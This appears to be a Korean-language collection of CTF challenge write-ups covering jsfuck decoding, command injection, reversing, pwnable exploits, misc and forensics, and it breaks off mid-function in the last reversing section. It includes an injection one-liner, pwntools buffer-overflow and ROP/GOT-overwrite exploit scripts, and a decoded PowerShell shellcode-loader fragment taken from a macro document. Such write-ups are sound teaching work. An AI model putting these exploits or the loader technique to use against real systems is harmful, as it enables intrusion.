Web Hacking

js

jsfuck으로 되어있는데 jsfuck만 긁어서decrypt 해주면 된다.

function anonymous(
) {
['HCAMP{0jSeasy0}',''][0x1];
}

FLAG : HCAMP{0jSeasy0}


command injection

$ nslookup “ “ 이렇게 주는데 “ “사이에 커맨드 인젝션 해주면 된다. 이 사이에 `` 넣어주고 그 사이에 /cat flag 넣어주면 된다.

$ nslookup "`cat /flag`"
Server:		127.0.0.11
Address:	127.0.0.11#53

** server can't find HCAMP{camsfsodfasjfai}: NXDOMAIN

FLAG : HCAMP{camsfsodfasjfai}


Reversing

Eeeeasy Reversing

flag.enc 파일이 주어진다. flag.txt에서 값을 긁어와서 어떠한 연산을 거쳐서 마지막에 enc 파일에 써준다.

__int64 sub_402D30()
{
  __time64_t v0; // rax
  FILE *v1; // rbx
  FILE *v2; // r13
  size_t v3; // r12
  char *v4; // rbp
  char *v5; // rbx
  char v6; // si

  sub_401610();
  v0 = time64(0i64);
  srand(v0 >> 15);
  v1 = fopen("flag.txt", "rb");
  v2 = fopen("flag.enc", "wb");
  fseek(v1, 0, 2);
  v3 = (unsigned int)ftell(v1);
  v4 = (char *)calloc(v3, 1ui64);
  fseek(v1, 0, 0);
  fread(v4, 1ui64, v3, v1);
  fclose(v1);
  if ( (_DWORD)v3 )
  {
    v5 = v4;
    do
    {
      *v5 += rand();
      v6 = rand();
      *v5 ^= rand() ^ v6;
      ++v5;
    }
    while ( v5 != &v4[(unsigned int)(v3 - 1) + 1] );
  }
  fwrite(v4, 1ui64, v3, v2);
  return 0i64;
}

srand는 enc 파일이 인코딩된 시간을 구해서 15만큼 쉬프트 연산해주면 된다. 그리고 srand값만 구하면 역연산 해주면 된다. 음수가 나오는 것들도 있어서 예외처리로 바꿔주었다.

from ctypes import *

table = [244, 206, 31, 39, 232, 186, 217, 217, 59, 43, 27, 168, 120, 116, 106, 47, 118, 66, 139, 22, 48, 48, 91, 174, 203, 243, 9, 64, 64, 23, 205, 22, 124, 227, 112, 188, 169, 184, 245, 47, 58, 208, 228, 176]

lib = CDLL('msvcrt')
lib.srand(47799)
flag=''

for i in range(len(table)):
	rand1=lib.rand()&0xff
	rand2=lib.rand()&0xff
	rand3=lib.rand()&0xff
	try:
		flag+=chr((table[i]^rand3^rand2)-rand1)
	except:
		flag += chr(255+(table[i]^rand3^rand2)-rand1 +1)
		pass
print(flag)

FLAG : HCAMP{Supper_Zzang_Zzang_Easy_Rever$ing!!@@}


Split Split Split

파일이 여러개로 나뉘어져있다. 이 파일들을 순서대로 다 합치면 Mach-O 64-bit executable x86_64 파일이 나온다.

import binascii

bin = ""
for i in range(5):
	f = open('00'+str(i)+'.bin','rb')
	data = f.read()
	f.close()
	bin += binascii.hexlify(data)
bin = binascii.unhexlify(bin)
f = open('split_file','wb')
f.write(bin)
f.close()

이제 이 Mach-O 바이너리를 열어보면 아래와 같은 코드가 있다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  int v4; // [rsp+18h] [rbp-78h]
  char v5[104]; // [rsp+20h] [rbp-70h]
  __int64 v6; // [rsp+88h] [rbp-8h]

  memcpy(v5, "XSQ]@kC@\\YDOTQDQOCESSUCCm", 0x64uLL);
  v4 = 0;
  puts("Let's go Decrypt!");
  while ( v4 < strlen(v5) )
  {
    v5[v4] ^= 0x10u;
    ++v4;
  }
  result = printf("\n", "XSQ]@kC@\\YDOTQDQOCESSUCCm");
  if ( __stack_chk_guard == v6 )
    result = 0;
  return result;
}

이런식으로 돼있는데 그냥 역연산 해주면 풀린다.

enc = "XSQ]@kC@\\YDOTQDQOCESSUCCm"
print bytearray(i^0x10 for i in bytearray(enc))

FLAG : HCAMP{SPLIT_DATA_SUCCESS}


M0000V

아마도 movfuscator 로 컴파일된 바이너리 같다. 근데 demovfuscator를 사용하려고 했는데 capstone이 자꾸 오류나서 그냥 브루트포스 돌리고 게싱해서 풀었다.

근데 다른 분이 stace를 이용해서 풀었길래 똑같이 풀어보았다.

for i in a b c d e f g h i j k l m o p q r s t u v w x y j k l m n o p q r s t u v w x y z A B C D E F G H I J K L M N O P Q R S T U V W X Y Z 1 2 3 4 5 6 7 8 9 @ ! ; do echo -n $i\ ; echo 'HCAMP{'$i | strace ./movisfun 2>&1 | grep SIG  | wc -l;done

이런식으로 스크립트를 실행시키면 표준출력해주고 strace로 시스템콜 가져와서 HCAMP{ 뒤에 올 문자를 보여준다. 그러면 일일이 하나씩 대입해 시스템콜을 추적하면 알맞은 플래그를 찾을 수 있다.

FLAG : HCAMP{M000oo00v_1s_1nterestin9}


SimpleREV

메인을 보면 어떠한 함수에 인자 값들을 넣고 그 함수의 리턴값에 따라 Correct!를 출력해준다.

int sub_402000()
{
  dword_404384 = 255;
  dword_404380 = 1;
  puts("Welcome HACKING CAMP");
  puts("THIS IS REAL PROTECTOR");
  puts("But, when you more think you will solve it");
  puts("Welcome HACKING CAMP");
  puts("=========Access only Admin===========");
  dword_404388 = 30;
  if ( (unsigned __int8)sub_405000(dword_40437C, dword_404380, dword_404384, 30) )
    puts("Correct!");
  return 0;
}
char __usercall sub_405000@<al>(char a1@<dil>, int a2, int a3, int a4, int a5)
{
  unsigned int v5; // eax
  int v6; // esi
  unsigned int v7; // edx
  int v8; // eax
  char v10; // [esp-4h] [ebp-3Ch]
  int v11; // [esp+Ch] [ebp-2Ch]
  int v12; // [esp+10h] [ebp-28h]
  __int128 v13; // [esp+14h] [ebp-24h]
  __int64 v14; // [esp+24h] [ebp-14h]
  int v15; // [esp+2Ch] [ebp-Ch]
  __int16 v16; // [esp+30h] [ebp-8h]
  char v17; // [esp+32h] [ebp-6h]
  int retaddr; // [esp+3Ch] [ebp+4h]

  v12 = 0;
  v13 = 0i64;
  v15 = 0;
  v14 = 0i64;
  v16 = 0;
  v17 = 0;
  sub_401020(">> ", a1);
  sub_401050("%d", (unsigned int)&v12);
  v5 = time64(0);
  srand(v5);
  retaddr = rand();
  if ( v12 == 78 && a4 == 1 )
  {
    v6 = 0;
    sub_401020(">> ", v10);
    sub_401050("%s", &v13);
    if ( a5 != 30 )
      system(Command);
    v7 = 0;
    if ( (char *)&v13 + strlen((const char *)&v13) + 1 == (char *)&v13 + 1 )
      goto LABEL_13;
    do
    {
      v8 = byte_4031C9[2 * v7] + byte_4031C8[2 * v7];
      if ( v8 < 0 )
        v8 = -v8;
      *((_BYTE *)&v13 + v7) ^= v8;
      if ( *((_BYTE *)&v13 + v7) != byte_403248[v7] )
        goto LABEL_13;
      v11 = v6 + 1;
      ++v7;
      ++v6;
    }
    while ( v7 < strlen((const char *)&v13) );
    if ( v11 != 30 )
LABEL_13:
      exit(0);
    puts("C0ngratulation");
  }
  return 1;
}

먼저 바이너리 패치로 » 2번 째 입력 받는 곳까지 갈 수 있게 하고 이후 동적디버깅해서 비교해주는 값을 가져왔다.

이게 값이 좀 신기하게 들어가서 0xffffffff 넘게 들어가는 것도 있는데 그냥 비교해주는 구문앞에서 그 값과 테이블 값을 xor하면 플래그가 나온다.

check = ['0x58', '0x38', '0x79', '0x54', '0xf4', '0x6a', '0x7d', '0x58', '0xb2', '0x30', '0x21', '0x6d', '0x7d', '0x49', '0xc', '0xff', '0x1f', '0x71', '0x2', '0x1a', '0x41', '0x6c', '0x35', '0xe0', '0x49', '0xa7', '0x46', '0x7b', '0x5', '0x4f']
table = [25,80,38,11,141,90,8,7,211,84,76,4,19,22,120,151,126,31,105,105,30,92,5,191,43,151,53,8,93,11]
print ''.join(chr(int(x,16)^y) for x,y in zip(check,table))

FLAG : HCAMP{Ah__y0u_admin_thanks_00_b0ssXD}


Pwnable

magic

플래그가 저장된 값과 입력한 값을 비교하는데 Brute force attack 돌려주면 된다.

from pwn import *

payload = ''

while len(payload) != 30:
	for i in range(33,127):
		p = remote('pwnable.shop',20204)
		p.sendlineafter('>> ',str(2))
		tmp = chr(i)
		go = payload
		go += tmp
		p.sendlineafter('>> ',go)
		print go
		sleep(0.1)
		m = p.recvline()
		if 'Good!' in m:
			payload += tmp
			break
		p.close()
p.interactive()

FLAG : HCAMP{4RE_Y0U_GUESS1NG_K1NG?}


bofforeverfluw

from pwn import * 

#context.log_level = 'debug'

p = remote('pwnable.shop',20201)
e = ELF('./bofforeverfluw_edeb9811b02cc3c5f4f7cfecf5eebcdf')

system = 0x80484d2
ret = 0x0804A024
payload = 'A'*(0x204 + 0x4)
payload += p32(system)
payload += p32(ret)
p.sendafter('hi\n',payload)
sleep(0.1)
p.interactive()

FLAG : HCAMP{0ver_0ver_0ver_flow_@3@_!!}


campnote

fastbin


Misc

I_AM_NEWBIE

문제가 나오는데 그 질문에 대한 답을 계속 넣어주면 된다.

from pwn import *

#context.log_level = 'debug'

p = remote('pwnable.shop',20207)
print p.sendlineafter('>>','stack')
sleep(0.1)
print p.sendlineafter('>>','user account control')
sleep(0.1)
print p.sendlineafter('>>','eip')
sleep(0.1)
print p.sendlineafter('>>','assembly')
sleep(0.1)
print p.sendlineafter('>>','http')
sleep(0.1)
print p.sendlineafter('>>','eax')
sleep(0.1)
print p.sendlineafter('>>','ntfs')
sleep(0.1)
print p.sendlineafter('>>','cookie')
sleep(0.1)
print p.sendlineafter('>>','mbr')
sleep(0.1)
print p.sendlineafter('>>','security cookie')
sleep(0.1)
print p.sendlineafter('>>','breakpoint')
sleep(0.1)
print p.sendlineafter('>>','PK')
sleep(0.1)
print p.sendlineafter('>>','backdoor')
p.interactive()

FLAG : HCAMP{You_able_to_zzzzzannng_h4cker}


01010101

o를 0으로 바꿔주고 O을 1로 바꿔주고 8비트씩 끊어서 넣어줬다.

a="oOooOooooOooooOOoOoooooOoOooOOoOoOoOoooooOOOOoOOoOooooOoooOOooOOooOOooOOoOOOoooooOoOOOOOoOooooOoooOOooOOooOOooOOoOOOoooooOoOOOOOoOoooooOoOOOooOOoOOoooOOooOOoooOooOOoooOoOoOOOOOoOooooOOooOOoooooOOooOooooOOooOOoOoOOOOOoOoooooooOOOoOOOoOoooooooOOOOOoO"
flag=""
for i in range(0,len(a),8):
	tmp = a[i:i+8]
	tmp = tmp.replace('o','0').replace('O','1')
	flag += tmp
print ''.join(map(lambda x: chr(int(x, 2)), [flag[i:i+8] for i in xrange(0, len(flag),8)]))

FLAG : HCAMP{B33p_B33p_Asc11_C0d3_@w@}


ControlFlowGraph

그래프뷰보면 플래그가 나온다.

FLAG : HCAMP{Fun_CFG_@@}


Forensic

Party of Base64

HackingCamp20th.docm 파일을 준다.

확장자를 zip으로 바꾸고 속에 있는 내부 파일들을 보게되면 vbaProject.bin 이라는 파일이 존재했는데 헥스값으로 까보면 base64 인코딩된 부분이 존재했다. 이 부분만 가져와서 base64 decode해주면 아래와 같은 소스가 나온다.

nd $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
	$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
	return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}

function func_get_delegate_type {
	Param (
		[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
		[Parameter(Position = 1)] [Type] $var_return_type = [Void]
	)

	$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
	$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
	$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')

	return $var_type_builder.CreateType()
}

[Byte[]]$var_code = [System.Convert]::FromBase64String('MUY4QjA4MDgxQTMyNTI1RDAwMDM0ODQzNDE0RDUwNUY2NTZFNjM2RjY0NjU2NDJFNzQ3ODc0MDA2RDUxQzE0RUMzMzAwQ0RENjFEMkJFQTNBMkREMEU2MDAyMDJBNjk2QUQ4QzBCMjdEMEI0MDkwOTA5MjFEMERBNjYyOEE1NTFCNjAzMUQwQkE4RTkzRjcxRTA4M0Y4MTJFQzY0ODM4MjY4NkEyNTdFN0U4RUZEOUNDRjhGRjc3RDlFQTk2NDlEMEIzODM0M0FFN0U5Q0VGQ0E4RDVGOTg1MjU3Q0YxMDc3Q0U1NTk5RUJFMUE4QkQyNTI3MzU5NDMyRUI1QkMxOTg1ODMwOTFDMDA5Qjk2ODM2MjVBODZDNzY4QjQ5RjRDQ0JFODBDNkQ4ODE2QTIzRkMwMUQ2M0E3ODg5RDJBMTcwQjE3MEUwQjg1Q0I4OTIyRTc0N0IxMzNFMjBFMjgzRjc3QkVFNUU3OEUxRjFEQjNGRUI2OEYxRTE4QTE2RkU1MjIxMTgxREZFQUFDNUE5RDM2RkU0NTVBNDNDMDMzMEQxQzlCOEJGQkI4MURDMkU4MDRGMEQwRUQyMkFCNERCNEI2MTVDMDI3NzA4RDk0NzIzNEVFMzdCMTVEQzIyRUVENDdGODkyQUFCNTZCQTFENzc1NjY4NTIzNjgzMUFBMzE5RTBCRjUxOEE4MzQzMzFBRUM2NDdBQzRGMEUwMkYzMkYyODg1REE2RjU5RDRDMzZBRERBQTBBMjdDNTE2RjY3QjkwMjE2MzM1ODUyRDk5OTk4QTlFQTM5RDgxMDNDNzBGNzFBRkUyMkQyMjIyMEM3RUYwRTdEMjIxQTVEMkJBOTdGODg2Q0M1RkVDNTZEMUJGRjY3MkM1RDQ2QjVENjY2OEI1QTYwMjMzQTZFMkE5RTQ5OUVEOUYxQ0FGQTQ5NzlFMDlFMDFDRjZGMzc5MzhEMzAwQTA2QkRBMkYyMUI3M0U5NzlDRDg5RDAzMDZDODFBMjQyRDE3Njg2RTQzNUU4NTAyNEYyMDk2M0NEMkJGQzlGQzcyNjM2MkYyMEQ4MkJBQUUwMTc4NTVEOENBRkNFRUY5OTQ3RTkxRTBDNjNGRkZCQzVBRDM4RjZCMDU2NEExOEUzRjRBMkE2RTUxN0UxRDY4RTE3MTUwMzAwMDA=')

for ($x = 0; $x -lt $var_code.Count; $x++) {
	$var_code[$x] = $var_code[$x] -bxor 13
}

그리고 저기 var_code라는 변수를 base64 디코딩하면 16진수 값들이 나오는데 이 16진수를 보면 gzip이라는 것을 알 수 있다.

이 gzip을 압축 해제하면 HCAMP_encoded.txt 이라는 텍스트 파일이 나온다. 그 안에 있는 값을 16진수를 xor 13 해줬다.

b="E2B6B22E 64636E61 7869682D 317E7969 64622365 3300072E 64636E61 7869682D 317E7969 61646F23 65330007 2E64636E 61786968 2D317A64 6369627A 7E236533 00070007 00076E65 6C7F2D69 6C796C56 3F383B50 2D302D2F 51753B6B 51753834 5175386B 51753835 5175393E 5175393C 51753938 5175383B 51753934 51753A3E 51753A6E 5175393E 5175386F 51753934 51753868 5175386B 51753939 51753934 5175393D 5175393D 51753A3E 51753B3C 51753969 5175393D 5175386F 51753969 51753868 51753934 2F360007 00076E65 6C7F272D 7E687959 6C6F6168 25240007 76000704 0007046B 627F2D25 6463792D 642D302D 3D362D64 2D312D3F 352D362D 64262624 00070476 00070404 696C796C 5664502D 53302D3D 753F4E36 00070404 696C796C 5664502D 2B302D3D 754B4B4B 4B4B4B36 00070470 00070007 047F6879 787F632D 696C796C 36000770 00070007 6463792D 4E65686E 66256E62 637E792D 6E656C7F 2D27696C 796C212D 6E62637E 792D6E65 6C7F2D27 696C796C 3F216463 792D7562 7F5B6C61 24000776 0007046E 656C7F2D 6E65686E 66687F56 3F383B50 2D302D76 2D2F3D2F 2D703600 07046068 606E7D74 256E6568 6E66687F 212D696C 796C212D 7E647768 626B2569 6C796C24 263C2436 0007047E 797F6E6C 79256E65 686E6668 7F212D2F 762F2436 0007047E 797F6E6C 79256E65 686E6668 7F212D69 6C796C3F 24360007 047E797F 6E6C7925 6E65686E 66687F21 2D2F702F 24360007 047D7879 7E256E65 686E6668 7F243600 07047F68 79787F63 2D3D3600 07700007 00076463 792D606C 64632564 63792D6C 7F6A6E21 2D6E656C 7F272D6C 7F6A7B56 50240007 76000704 6463792D 25276B7D 24256E62 637E792D 6E656C7F 27216E62 637E792D 6E656C7F 2D272164 63792436 0007046B 7D2D302D 4E65686E 66360007 046E6263 7E792D6E 656C7F27 2D6B616C 6A2D302D 256E6263 7E792D6E 656C7F27 247E6879 596C6F61 68252436 00070464 6B2D252C 6B7D2525 6E62637E 792D6E65 6C7F2724 2F454E4C 405D2F21 6B616C6A 212D3C3D 24240007 04760007 04047D78 797E252F 5E786E6E 687E7E2F 24360007 04700007 70"
b=b.replace(" ","")
go=""
for i in range(0,len(b),2):
	go += chr(int("0x" + b[i:i+2],16) ^ 13)
print go

이렇게 xor해주면 c언어 코드가 나오게 된다.

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


char data[256] = "\x6f\x59\x5f\x58\x43\x41\x45\x56\x49\x73\x7c\x43\x5b\x49\x5e\x5f\x44\x49\x40\x40\x73\x61\x4d\x40\x5b\x4d\x5e\x49";

char* setTable()
{
	
	for (int i = 0; i < 28 ; i++)
	{
		data[i] ^= 0x2C;
		data[i] &= 0xFFFFFF;
	}

	return data;
}

int Check(const char *data, const char *data2,int xorVal)
{
	char checker[256] = { "0" };
	memcpy(checker, data, sizeof(data)+1);
	strcat(checker, "{");
	strcat(checker, data2);
	strcat(checker, "}");
	puts(checker);
	return 0;
}

int main(int argc, char* argv[])
{
	int (*fp)(const char*,const char *,int);
	fp = Check;
	const char* flag = (const char*)setTable();
	if (!fp((const char*)"HCAMP",flag, 10))
	{
		puts("Success");
	}
}

이제 테이블 값과 0x2c랑 xor해주면 된다..

d = "\x6f\x59\x5f\x58\x43\x41\x45\x56\x49\x73\x7c\x43\x5b\x49\x5e\x5f\x44\x49\x40\x40\x73\x61\x4d\x40\x5b\x4d\x5e\x49"

print ''.join(chr((ord(d[i])^0x2c) & 0xffffff) for i in range(len(d)))

FLAG : HCAMP{Customize_Powershell_Malware}


Welcome to hackingcamp

jpg 파일이 주어지는데 jpg 파일 안에 png 파일이 숨겨져 있었다. 그 png 파일을 열어보면 플래그가 있다.

FLAG : HCAMP{@3@_Welcome_t0_hacking_c4mp_!!}


Lorem Lock

HwpScan2를 이용해서 풀었다. Section0에 Text를 보니 플래그가 있었다.

FLAG : HCAMP{Oh!__Y0u_Know_##_OFFSET}

Reversing

Reversing #2

문제를 보면 반복문이 엄청나게 돌고있다.. 디버깅해서 연산하는 곳마다 브레이크 포인트 걸어주고 풀었다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // rsi
  signed int v4; // eax
  signed int v5; // eax
  bool v6; // zf
  signed int v7; // eax
  signed int v9; // [rsp+7Ch] [rbp-224h]
  int v10; // [rsp+80h] [rbp-220h]
  int v11; // [rsp+84h] [rbp-21Ch]
  unsigned __int64 v12; // [rsp+88h] [rbp-218h]
  char s1[256]; // [rsp+90h] [rbp-210h]
  char s[268]; // [rsp+190h] [rbp-110h]
  unsigned int v15; // [rsp+29Ch] [rbp-4h]

  v15 = 0;
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  memset(s, 0, 0x100uLL);
  memset(s1, 0, 0x100uLL);
  v3 = s;
  printf("Easy one. Just Reverse Me :)\n", 0LL);
  v12 = (signed int)read(0, s, 0x100uLL);
  v11 = 0;
  v9 = 784577434;
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          while ( 1 )
          {
            while ( 1 )
            {
              while ( 1 )
              {
                while ( 1 )
                {
                  while ( v9 == -1283299488 )
                  {
                    v3 = (char *)v10;
                    s1[v10] ^= byte_602060[v10 % 5];
                    v9 = 689708032;
                  }
                  if ( v9 != -1112985830 )
                    break;
                  v5 = -576509350;
                  if ( v10 < v12 )
                    v5 = -1283299488;
                  v9 = v5;
                }
                if ( v9 != -937301210 )
                  break;
                v10 = 0;
                v9 = -1112985830;
              }
              if ( v9 != -576509350 )
                break;
              v3 = (char *)&unk_602070;
              v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;
              v7 = 447126853;
              if ( !v6 )
                v7 = 596317950;
              v9 = v7;
            }
            if ( v9 != 447126853 )
              break;
            v9 = 955640552;
            printf("Input is your flag\n", v3);
          }
          if ( v9 != 596317950 )
            break;
          v9 = 955640552;
          puts("Nope.");
        }
        if ( v9 != 689708032 )
          break;
        ++v10;
        v9 = -1112985830;
      }
      if ( v9 != 784577434 )
        break;
      v4 = -937301210;
      if ( v11 < v12 )
        v4 = 1637913944;
      v9 = v4;
    }
    if ( v9 == 955640552 )
      break;
    if ( v9 == 1637913944 )
    {
      v3 = (char *)16;
      s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];
      v9 = 1690546716;
    }
    else if ( v9 == 1690546716 )
    {
      ++v11;
      v9 = 784577434;
    }
  }
  return v15;
}

간단하게 연산 순서를 나타내면 아래와 같다.

  1. byte_400c20에 있는 테이블 값을 뽑아서 s1에 넣어주고있다.
s1[v11] = byte_400C20[16 * ((unsigned __int8)s[v11] / 16) + (unsigned __int8)s[v11] % 16];

  1. 그리고 byte_602060에 저장된 “SECRET”과 xor연산해준다.
s1[v10] ^= byte_602060[v10 % 5];

  1. 마지막으로는 30글자 메모리 값을 비교해준다.
v6 = memcmp(s1, &unk_602070, 0x1EuLL) == 0;

이런 분기로 프로그램이 흘러간다.

이렇게 되면 쉽게 그냥 역연산 짜주면 된다.

byte_400C20[16 * (INPUT / 16) + INPUT % 16] ^ byte_602060[i%5] == unk_602070[i]

이런식으로 프로그램이 흘러간다는 것을 알 수 있다. 그러면 역연산 해주면 된다.

우선 byte_602060[i%5] ^ unk_602070[i] 을 해주면 byte_400C20[16 * (INPUT / 16) + INPUT % 16] 이 나온다.

나는 브루트포스해서 INPUT 값을 구해주었다.

bt=[99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43
,254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71
,240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253
,147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216
,49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128
,226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90
,160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0
,237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88
,207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2
,127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56
,245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12
,19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93
,25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238
,184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36
,92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200
,55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101
,122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232
,221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102
,72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158
,225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135
,233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230
,66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
table = [0x60,0x15,0xac,0xd7,0x64,0x57,0xef,0x70,0xcf,0xd3,0xa8,0x5d,0xd1,0xd6,0x5,0x9c,0x5f,0x5b,0xcd,0x65,0x9c,0xd3,0x63,0x56,0x16,0x9c,0xa6,0x80,0xad,0x22]

flag = []
m="SECRET"
for i in range(len(table)):
	for j in range(33,127):
		if ord(m[i%5]) ^ table[i] == bt[16 * (j / 16) + j % 16]:
			flag.append(j)
			break
print ''.join(chr(i) for i in flag)

FLAG : flag{0bfu5c4tOr_C4nT_5T0P_M3}


Pwnable

GOT_O

간단한 got overwrite 문제이다.

int __cdecl main(int argc, const char **argv, const char **envp)
{
  problem();
  write(1, "\n\n", 2u);
  return 0;
}
ssize_t problem()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0xA0u);
}
int win()
{
  return printf("/bin/sh");
}

exploit.py

from pwn import *

context.log_level = 'debug'

p = remote('inc0gnito.com',9090)
elf = ELF('./GOT_o')

main = 0x080484a3
win = 0x0804848a
problem = 0x0804846b
read_offset = 0x9ad60 # read - system

payload = cyclic(cyclic_find('haaa'))

rop1 = ROP(elf)
rop1.write(1,elf.got['read'],4)
rop1.call(problem)

log.info('Stage1')

p.sendline(payload + str(rop1))
sleep(0.1)
read_got = u32(p.recv(4))

sys_got = read_got - read_offset

rop2 = ROP(elf)
rop2.read(0,elf.got['printf'],4)
rop2.call(win)

log.info('Stage2')

p.sendline(payload + str(rop2))
sleep(0.1)
p.sendline(p32(sys_got))
sleep(0.1)

p.interactive()

FLAG : FLAG{This_is_got_overwrite}


Forensic

wh3re_is_my_f14g

zip 파일이 주어지는데 그 안에 zip 파일이 하나 더 숨겨져있어서 그거 추출해줬는데 플래그 있었다.

FLAG : 1nC0{d0_you_kn0w_21p?}

Web 50

편지를 쓰다 말고 훈련소에 끌려 갔다고 해서 .swp 파일인 것을 짐작 할 수 있었다.

http://218.158.141.133/.index.php.swp이 링크로 들어가면 서버 사이드 스크립트가 노출된다.

Magic hash 문제다.

입력한 한 문자열 + “S@L7”을 md5 encrypt 한 값과 0e123142351이 같으면 된다.

그러므로 입력한 문자열 + “S@L7” 의 md5 hash 값은 0e + 숫자 30바이트이면 된다.

import hashlib
import re
import string
ALLOWED_CHARACTERS = string.hexdigits
NUMBER_OF_CHARACTERS = len(ALLOWED_CHARACTERS)
def characterToIndex(char):
return ALLOWED_CHARACTERS.index(char)
def indexToCharacter(index):
if NUMBER_OF_CHARACTERS <= index:
raise ValueError("Index out of range.")
else:
return ALLOWED_CHARACTERS[index]
def next(string):
if len(string) <= 0:
string.append(indexToCharacter(0))
else:
string[0] = indexToCharacter((characterToIndex(string[0]) + 1) % NUMBER_OF_CHARACTERS)
if characterToIndex(string[0]) is 0:
return list(string[0]) + next(string[1:])
return string
def main():
sequence = list()
while True:
sequence = next(sequence)
tmp = ''.join(i for i in sequence)
tmp += 'S@L7'
m = hashlib.md5()
m.update(tmp)
md5string=m.hexdigest()
if md5string[2:].isdigit() == True and md5string[:2] == '0e':
print md5string + " : " + tmp
if __name__ == "__main__":
main()

이렇게 문자열Brute Force Attack 해서 입력한 값의 hash 값이 0e + 숫자가 나올 때까지 돌렸다.

한 2분정도 지나니까 403a8b가 나왔다. 이거 넣어주면 된다.

FLAG : YISF{Ma9ic_L3t7er_fr0m_Pr1v4te}


Reversing 50

현재 경로 가져와서 경로를 저장한다. 프로그램의 경로를 strncmp 분기 다 맞춰주면 된다.

그러면 /aaaaaYISF/TOP_SECRET/TOP_SEflag 이런 경로까지 가면 id, password를 입력할 수 있는 창이 나오게된다.

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char *v3; // ST20_8
  signed __int64 v4; // rdi
  char *v6; // [rsp+18h] [rbp-A8h]
  char buf; // [rsp+30h] [rbp-90h]
  unsigned __int64 v8; // [rsp+B8h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  v6 = strrchr(*a2, 47) + 1;
  v3 = getcwd(&buf, 0x80uLL);
  printf("path : %s\nfilename : %s\n\n", v3, v6, a2);
  sub_B2F(v3, v6);
  if ( dword_20240C == 1 )
  {
    v4 = (signed __int64)(v6 + 6);
    if ( !strncmp(v6 + 6, "flag", 4uLL) )
    {
      ++dword_20240C;
      sub_DE7(v4, "flag");
    }
    sub_D64(v4, "flag");
  }
  return 0LL;
}

id는The_World_Best_Programmer인지 비교하고 password는 qwe123 이면 success!!가 뜬다. 그리고 어떠한 변수 값이 증가하면서 어떤 if문에 들어가서v6+6의 값이 flag인지 비교한다.

이건 동적디버깅해서 위치 어디인지 가져와서 그 위치에 맞게 파일 이름을 변경했다. 또 어떤 변수 값 하나를 증가시켜서 함수에서 플래그를 생성해준다.

char *__fastcall sub_B2F(__int64 a1, __int64 a2)
{
  char *dest; // [rsp+18h] [rbp-98h]
  char s[8]; // [rsp+20h] [rbp-90h]
  __int64 v5; // [rsp+28h] [rbp-88h]
  __int64 v6; // [rsp+30h] [rbp-80h]
  __int64 v7; // [rsp+38h] [rbp-78h]
  __int64 v8; // [rsp+40h] [rbp-70h]
  __int64 v9; // [rsp+48h] [rbp-68h]
  __int64 v10; // [rsp+50h] [rbp-60h]
  __int64 v11; // [rsp+58h] [rbp-58h]
  char v12[8]; // [rsp+60h] [rbp-50h]
  __int64 v13; // [rsp+68h] [rbp-48h]
  __int64 v14; // [rsp+70h] [rbp-40h]
  __int64 v15; // [rsp+78h] [rbp-38h]
  __int64 v16; // [rsp+80h] [rbp-30h]
  __int64 v17; // [rsp+88h] [rbp-28h]
  __int64 v18; // [rsp+90h] [rbp-20h]
  __int64 v19; // [rsp+98h] [rbp-18h]
  unsigned __int64 v20; // [rsp+A8h] [rbp-8h]

  v20 = __readfsqword(0x28u);
  *s = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  *v12 = 0LL;
